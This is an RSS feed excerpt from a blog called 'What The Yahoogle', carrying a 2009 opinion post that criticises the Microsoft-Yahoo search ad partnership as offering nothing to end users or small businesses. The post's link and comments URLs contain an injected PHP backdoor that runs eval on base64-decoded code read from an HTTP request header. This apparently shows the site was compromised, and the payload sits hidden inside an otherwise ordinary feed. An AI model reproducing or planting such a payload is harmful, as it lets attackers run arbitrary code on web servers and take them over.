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	<title>What The Yahoogle &#187; microsoft</title>
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		<title>Microsoft, Yahoo lay out terms of search ad partnership</title>
		<link>http://www.whattheyahoogle.com/2009/08/05/microsoft-yahoo-lay-out-terms-of-search-ad-partnership/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.whattheyahoogle.com/2009/08/05/microsoft-yahoo-lay-out-terms-of-search-ad-partnership/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 20:56:00 +0000</pubDate>
		<dc:creator>Jeff Palmer</dc:creator>
				<category><![CDATA[Local Search]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[local]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://www.whattheyahoogle.com/?p=81</guid>
		<description><![CDATA[Well isn&#8217;t this just dandy! Two of the biggest company are releasing a few details about the big deal they just collaberated on. My question is&#8230; who is the real winner here&#8230;? 
Let&#8217;s start with the fact that Microsoft is going to hire 400 Yahoo employees. Good for those employees &#8211; there&#8217;s nothing like job [...]]]></description>
			<content:encoded><![CDATA[<p>Well isn&#8217;t this just dandy! Two of the biggest company are releasing a few details about the big deal they just collaberated on. My question is&#8230; who is the real winner here&#8230;? <span id="more-81"></span></p>
<p>Let&#8217;s start with the fact that <a href="http://www.marketwatch.com/investing/stock/MSFT">Microsoft</a> is going to hire 400 <a href="http://www.marketwatch.com/investing/stock/YHOO">Yahoo</a> employees. Good for those employees &#8211; there&#8217;s nothing like job security in these challenging times. In addition, Microsoft agreed to hire another 150 Yahoo employees &#8220;to assist with providing the transition services&#8221; for them&#8230; again great for those 150 people. But does anyone else win&#8230;?</p>
<p>This story, which I read on <a href="http://www.marketwatch.com/story/microsoft-yahoo-lay-out-terms-of-search-ad-deal-2009-08-04">Market Watch</a> lays out everything that the two companies are willing to say, but never defines who benefits from this merger.</p>
<p>That is my stance here&#8230; there is no real benefit to us, the end users. Will their search results be any different than Google, I doubt it. Will their search results display less ads &#8211; not a chance. Will their partnership do anything to help you and me, the small business owner who is really feeling the effects of this down economy&#8230; not in the least. It&#8217;s not like Microsoft is creating new jobs here, it&#8217;s not like Yahoo is doing anything at all to revive the job markets, none of this is happening with this deal.</p>
<p>So my final rant is&#8230; let&#8217;s pull companies together who are going to help the small business owners, let&#8217;s create partnerships that turn into win/win/win business enviroments, not two of the biggest players partnering together, for me that&#8217;s just dumb &#8211; which reminds me of a line from an old movie called &#8220;Streets of Fire&#8221;, I believe it was William Dufoe who said &#8220;That&#8217;s dumb smart guy&#8230; real dumb if you think you can pull this off&#8221;</p>
<p>Let me know your thoughts &#8211; I like to express my viewpoints (just ask my team) and if do than we&#8217;ll get along great!</p>
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